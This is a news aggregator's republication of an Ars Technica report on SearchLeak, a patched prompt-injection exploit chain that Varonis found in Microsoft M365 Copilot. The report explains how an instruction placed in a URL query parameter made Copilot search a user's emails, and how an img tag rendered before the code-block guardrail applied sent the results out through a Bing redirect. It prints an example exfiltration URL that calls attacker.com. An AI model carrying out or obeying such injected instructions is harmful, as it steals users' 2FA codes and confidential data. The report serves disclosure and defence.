Breaking
ARارتفاع حصيلة الشهداء والمصابين في غزة مع استمرار صعوبات الوصول للضحاياARإغلاق مضيق هرمز أمام حركة السفنARاعتقال رجل في اسكتلندا على خلفية هجمات معادية للإسلامARإيران تهدد بإغلاق مضيق هرمز وسط توترات مع إسرائيل وأمريكاARنائب مصري يحذر من تحول السيارات لأدوات قتل متنقلة بسبب قيادة الأطفالARمونديال أميركا الشمالية: الجزائر والأردن في ديربي عربي لإنعاش الآمال، فرنسا تسعى لتأكيد تفوقهاARمسؤول نرويجي سابق يحذر من الاعتماد الكلي على الناتوARستة قتلى بينهم مصور قناة الجزيرة في غارات إسرائيلية على غزةARمصر تطرح 3 حقول نفط متقادمة في خليج السويس للمزايدةARنتنياهو يتعهد بإعادة الأمن للشمال عقب مقتل 4 جنود إسرائيليين في جنوب لبنانARارتفاع حصيلة الشهداء والمصابين في غزة مع استمرار صعوبات الوصول للضحاياARإغلاق مضيق هرمز أمام حركة السفنARاعتقال رجل في اسكتلندا على خلفية هجمات معادية للإسلامARإيران تهدد بإغلاق مضيق هرمز وسط توترات مع إسرائيل وأمريكاARنائب مصري يحذر من تحول السيارات لأدوات قتل متنقلة بسبب قيادة الأطفالARمونديال أميركا الشمالية: الجزائر والأردن في ديربي عربي لإنعاش الآمال، فرنسا تسعى لتأكيد تفوقهاARمسؤول نرويجي سابق يحذر من الاعتماد الكلي على الناتوARستة قتلى بينهم مصور قناة الجزيرة في غارات إسرائيلية على غزةARمصر تطرح 3 حقول نفط متقادمة في خليج السويس للمزايدةARنتنياهو يتعهد بإعادة الأمن للشمال عقب مقتل 4 جنود إسرائيليين في جنوب لبنان
Newsgather
BackMicrosoft M365 Copilot Vulnerability Allowed 2FA Code and Sensitive Data Theft
Microsoft M365 Copilot Vulnerability Allowed 2FA Code and Sensitive Data Theft
Developing
Ars Technica4d agoTech4 min readUnited States

Microsoft M365 Copilot Vulnerability Allowed 2FA Code and Sensitive Data Theft

Quick Look

  • Researchers revealed how a vulnerability in Microsoft's M365 Copilot could be exploited to steal 2FA codes and sensitive data by tricking the AI into sending requests to attacker-controlled servers.
  • Microsoft has patched the specific exploit, named SearchLeak, but the underlying issue of AI distinguishing user commands from malicious instructions remains.

AI-generated summary

Why It Matters

Microsoft patched a critical vulnerability in its M365 Copilot AI platform. Researchers revealed how the exploit, named SearchLeak, could retrieve sensitive data by bypassing AI guardrails.

Font size

Last Tuesday, Microsoft patched a vulnerability it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who discovered the vulnerability and reported it to Microsoft revealed how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails accessible to Copilot.

Microsoft and other LLM providers have been unable to prevent their products from complying with malicious requests to reveal data. The root cause: AI bots are unable to distinguish between instructions provided by users and those snuck into third-party content the models are summarizing, drafting responses to, or using to perform other actions on behalf of the user. With no way to secure this crucial boundary, Microsoft and its peers are left to erect complicated and ad hoc guardrails designed to rein in the consequences of this incurable gullibility.

Jumping over guardrails

One guardrail built into Copilot and most other LLMs prevents them from submitting web forms, sending emails, and taking similar actions that can be used to exfiltrate data from the user. To work around this, LLM hackers turned to markup language, which, among other things, allows users to add formatting elements such as headings, lists, and links to text without the need for HTML tags. Another workaround is to wrap sensitive data inside HTML tags such as <img> and <form>. In either case, a web request showing the data hits the attacker’s web server, where the secret information is captured in logs.

One Microsoft guardrail wraps Copilot output in <code> blocks so the browser treats it as straight text. Another is to restrict the sites Copilot is permitted to visit without explicit approval. While Copilot has blanket permission to send requests to Microsoft domains, guardrails restrict requests to untrusted sites.

Security firm Varonis devised an exploit chain that was able to catapult over these guardrails. The first element was what the researchers call a Parameter-to-Prompt Injection. The parameter in this case is the q in a URL, which is used to flag a query that has been included. The Parameter-to-Prompt Injection is a close relative of the prompt injection. The difference is that the malicious command is located in the query parameter, rather than in an email or other piece of untrusted content.

To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied.

“The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough,” the researchers wrote Monday. “To exfiltrate the data, an attacker crafts a URL that tells Copilot to ‘Search the user’s emails,’ extract the title, and embed it in an image URL.” The victim doesn’t type anything. They click a link, and Copilot does the rest.

Normally, the guardrail wrapping output in <code> blocks would kick in. But the researchers discovered that the protection fires only after the “thinking” phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM.

The researchers wrote:

So, the sequence looks like this:

Copilot starts streaming its response, which includes an <img> tag

The browser sees the <img>, renders it, and fires off an HTTP request to the src URL

Copilot finishes generating. The guardrail wraps everything in <code>

Too late! The request already left.

The researchers now had an image request firing from the target’s browser. The problem, as noted earlier, is that Copilot won’t send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft’s Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this:

https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Varonis has named the attack SearchLeak.

“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn’t limited to personal data—it’s able to surface anything the user has access to inside the organization including emails, meeting invites and notes,” company researchers wrote. “SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider.”

As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.

What to Watch

AI outlook — possibilities, not facts

  • Attackers will develop new methods to bypass AI guardrails.

    Very likely · Within months

Open Questions

  • Will AI providers find a permanent fix for prompt injection?
  • What is the full extent of data potentially exposed?
  • How will this impact enterprise AI adoption?

Related Topics

This article was originally published by Ars Technica.

Related Stories

Apple Unveils Numerous App and Service Upgrades at WWDC Beyond Siri
Developing·18h ago

Apple Unveils Numerous App and Service Upgrades at WWDC Beyond Siri

Apple announced significant updates to its core apps and services at WWDC, including enhanced Apple Maps with 'Local Lists' and improved 'Flyover,' more flexible location sharing in Find My, and advanced bill splitting in Apple Wallet powered by Apple Intelligence. Other updates include redesigned Apple Pay checkout, expanded Apple Music features like lyrics translation, new search capabilities in Apple Podcasts, improved iCloud Shared Albums, and a new Fitness+ program for menopause.

TechCrunch
More on this topicMicrosoft